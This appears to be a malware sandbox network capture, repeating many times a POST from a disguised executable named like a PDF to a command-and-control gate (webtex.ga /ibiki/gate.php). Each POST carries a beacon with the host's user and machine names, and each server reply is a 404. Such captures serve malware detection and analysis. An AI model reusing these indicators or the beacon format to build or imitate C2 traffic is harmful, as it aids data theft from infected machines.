Dec 3, 2020 10:03:59.114182949 CET	4799	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:59.154859066 CET	4799	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:16 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
219	192.168.2.3	49962	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:59.376610041 CET	4800	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:59.393301010 CET	4800	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:59.446842909 CET	4800	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:16 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49731	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:38.904767990 CET	96	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:38.921297073 CET	96	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:38.965207100 CET	96	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:56 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
220	192.168.2.3	49963	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:59.658098936 CET	4801	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:59.674897909 CET	4802	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:59.717549086 CET	4802	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:16 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
221	192.168.2.3	49964	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:59.937166929 CET	4803	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:59.953744888 CET	4803	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:59.996310949 CET	4803	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:17 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
222	192.168.2.3	49965	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:00.213593960 CET	4804	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:00.230097055 CET	4804	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:00.271773100 CET	4805	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:17 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
223	192.168.2.3	49966	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:00.506449938 CET	4805	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:00.523019075 CET	4806	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:00.568294048 CET	4806	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:17 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
224	192.168.2.3	49967	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:00.791546106 CET	4807	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:00.808204889 CET	4807	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:00.944044113 CET	4807	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:18 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
225	192.168.2.3	49968	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:01.165537119 CET	4808	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:01.182256937 CET	4808	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:01.224257946 CET	4809	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:18 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
226	192.168.2.3	49969	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:01.475567102 CET	4810	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:01.492468119 CET	4810	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:01.535551071 CET	4810	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:18 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
227	192.168.2.3	49970	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:01.768613100 CET	4811	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:01.786411047 CET	4811	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:01.828970909 CET	4811	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:19 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
228	192.168.2.3	49971	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:02.064174891 CET	4812	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:02.080821037 CET	4813	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:02.206245899 CET	4813	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:19 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
229	192.168.2.3	49972	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:02.431474924 CET	4814	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:02.448327065 CET	4814	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:02.490118980 CET	4814	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:19 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49734	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:39.202320099 CET	98	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:39.218918085 CET	98	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:39.261558056 CET	98	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:56 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
230	192.168.2.3	49973	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:02.710186958 CET	4815	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:02.726979971 CET	4815	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:02.770838022 CET	4816	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:20 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
231	192.168.2.3	49974	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:02.991389036 CET	4817	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:03.008039951 CET	4817	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:03.052233934 CET	4817	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:20 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
232	192.168.2.3	49975	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:03.285552025 CET	4818	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:03.302356005 CET	4818	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:03.344530106 CET	4818	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:20 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
233	192.168.2.3	49976	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:03.554472923 CET	4819	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:03.571105003 CET	4820	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:03.614420891 CET	4820	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:20 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
234	192.168.2.3	49977	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:03.844235897 CET	4821	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:03.860785007 CET	4821	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:03.907417059 CET	4821	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:21 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
235	192.168.2.3	49978	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:04.123665094 CET	4822	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:04.140394926 CET	4822	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:04.184755087 CET	4823	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:21 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
236	192.168.2.3	49979	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:04.413716078 CET	4823	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:04.430408955 CET	4824	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:04.476197004 CET	4824	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:21 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
237	192.168.2.3	49980	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:04.697741985 CET	4825	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
